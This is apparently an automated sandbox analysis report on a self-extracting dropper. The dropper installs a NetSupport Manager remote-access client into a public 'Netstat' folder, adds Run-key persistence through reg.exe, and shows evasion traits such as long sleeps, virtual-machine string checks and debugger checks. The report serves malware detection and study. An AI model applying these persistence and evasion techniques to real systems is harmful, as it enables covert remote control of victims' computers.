Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: shv.exe, 00000005.00000002.4131581542.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000005.00000000.1680595805.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000008.00000000.1691809237.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000008.00000002.1694138825.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000009.00000002.1805359841.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000009.00000000.1802595368.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000B.00000000.1884540195.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000B.00000002.1886119575.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000E.00000002.1968165061.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000E.00000000.1965850134.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: file.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: shv.exe, 00000005.00000002.4133318649.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 00000008.00000002.1695028330.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 00000009.00000002.1806911181.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 0000000B.00000002.1887171743.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 0000000E.00000002.1968966209.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, pcicapi.dll.0.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_11029590 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

5_2_11029590

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Netstat\__tmp_rar_sfx_access_check_4506265

Jump to behavior

Source: file.exe	Static PE information: section name: .didat
Source: file.exe	Static PE information: section name: _RDATA
Source: PCICL32.DLL.0.dr	Static PE information: section name: .hhshare

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1C5156 push rsi; retf	0_2_00007FF6FE1C5157
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1C5166 push rsi; retf	0_2_00007FF6FE1C5167
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1116F055 push ecx; ret	5_2_1116F068
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11169F49 push ecx; ret	5_2_11169F5C
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1116F055 push ecx; ret	8_2_1116F068
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11169F49 push ecx; ret	8_2_11169F5C
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11040E01 push 3BFFFFFEh; ret	8_2_11040E06

Source: msvcr100.dll.0.dr

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\shv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\PCICHEK.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Netstat\PCICL32.DLL	Jump to dropped file

Source: C:\Users\Public\Netstat\shv.exe

5_2_11127E10

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Netstat	Jump to behavior

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11139090 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	5_2_11139090
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1115B1D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	5_2_1115B1D0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11113290 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	5_2_11113290
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	5_2_110CB2B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	5_2_110CB2B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110254A0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	5_2_110254A0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110258F0 IsIconic,BringWindowToTop,GetCurrentThreadId,	5_2_110258F0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11023BA0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	5_2_11023BA0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11024280 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	5_2_11024280
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11112670 IsIconic,GetTickCount,	5_2_11112670
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	5_2_111229D0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	5_2_111229D0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1115B1D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	8_2_1115B1D0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11139090 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	8_2_11139090
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11113290 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	8_2_11113290
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	8_2_110CB2B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	8_2_110CB2B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110254A0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	8_2_110254A0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110258F0 IsIconic,BringWindowToTop,GetCurrentThreadId,	8_2_110258F0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11023BA0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	8_2_11023BA0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11024280 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	8_2_11024280
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11112670 IsIconic,GetTickCount,	8_2_11112670
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	8_2_111229D0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	8_2_111229D0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110C0BB0 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	8_2_110C0BB0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	8_2_1115ADD0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	8_2_1115ADD0

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_11143570 GetTickCount,GetModuleFileNameA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_11143570

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110B8200 Sleep,ExitProcess,		5_2_110B8200
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110B8200 Sleep,ExitProcess,		8_2_110B8200

Source: C:\Users\Public\Netstat\shv.exe	Window / User API: threadDelayed 453			Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Window / User API: threadDelayed 7875			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file

Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision	graph_5-54313
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision	graph_5-58147
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision	graph_5-58183
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision
Source: C:\Users\Public\Netstat\shv.exe	Evaded block: after key decision

Source: C:\Users\Public\Netstat\shv.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\Public\Netstat\shv.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_5-58271

Source: C:\Users\Public\Netstat\shv.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-58079

Source: C:\Users\Public\Netstat\shv.exe	API coverage: 6.4 %
Source: C:\Users\Public\Netstat\shv.exe	API coverage: 2.6 %

Source: C:\Users\Public\Netstat\shv.exe TID: 2336	Thread sleep time: -76750s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe TID: 4480	Thread sleep time: -45300s >= -30000s	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe TID: 2336	Thread sleep time: -1968750s >= -30000s	Jump to behavior

Source: C:\Users\Public\Netstat\shv.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\Netstat\shv.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1940BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6FE1940BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1AB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6FE1AB190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1BFCA0 FindFirstFileExA,	0_2_00007FF6FE1BFCA0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102D330
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	5_2_11065890
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	5_2_1106A0A0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	5_2_111266E0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	8_2_1102D330
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	8_2_11065890
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	8_2_1106A0A0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	8_2_111266E0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	8_2_1110AFD0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE1B16A4 VirtualQuery,GetSystemInfo,

0_2_00007FF6FE1B16A4

Source: HTCTL32.DLL.0.dr	Binary or memory string: VMware
Source: HTCTL32.DLL.0.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.0.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: HTCTL32.DLL.0.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: shv.exe, 00000005.00000002.4131206311.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132118742.00000000037C6000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4131206311.0000000000C15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: TCCTL32.DLL.0.dr	Binary or memory string: VMWare
Source: shv.exe, 00000008.00000002.1693805222.00000000004C0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000008.00000003.1693622715.00000000004BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla
Source: shv.exe, 00000009.00000003.1804917331.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 0000000B.00000003.1885767916.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: shv.exe, 0000000E.00000003.1967618467.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllzz

Source: C:\Users\Public\Netstat\shv.exe	API call chain: ExitProcess graph end node	graph_5-54375
Source: C:\Users\Public\Netstat\shv.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Netstat\shv.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Netstat\shv.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Netstat\shv.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE1B76D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6FE1B76D8

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_11147750 GetLastError,wsprintfA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,SetLastError,GetKeyState,

5_2_11147750

Source: C:\Users\Public\Netstat\shv.exe

5_2_11029590

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE1C0D20 GetProcessHeap,

0_2_00007FF6FE1C0D20

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B76D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6FE1B76D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B3354 SetUnhandledExceptionFilter,	0_2_00007FF6FE1B3354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B2510 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6FE1B2510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B3170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6FE1B3170
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11093080 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	5_2_11093080
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110310C0 _NSMClient32@8,SetUnhandledExceptionFilter,	5_2_110310C0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11161D01 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_11161D01
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1116DD89 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_1116DD89
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11093080 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	8_2_11093080
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110310C0 _NSMClient32@8,SetUnhandledExceptionFilter,	8_2_110310C0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11161D01 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_11161D01
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1116DD89 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_1116DD89

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_110F4560 GetTickCount,LogonUserA,GetTickCount,GetLastError,

5_2_110F4560

Source: C:\Users\user\Desktop\file.exe

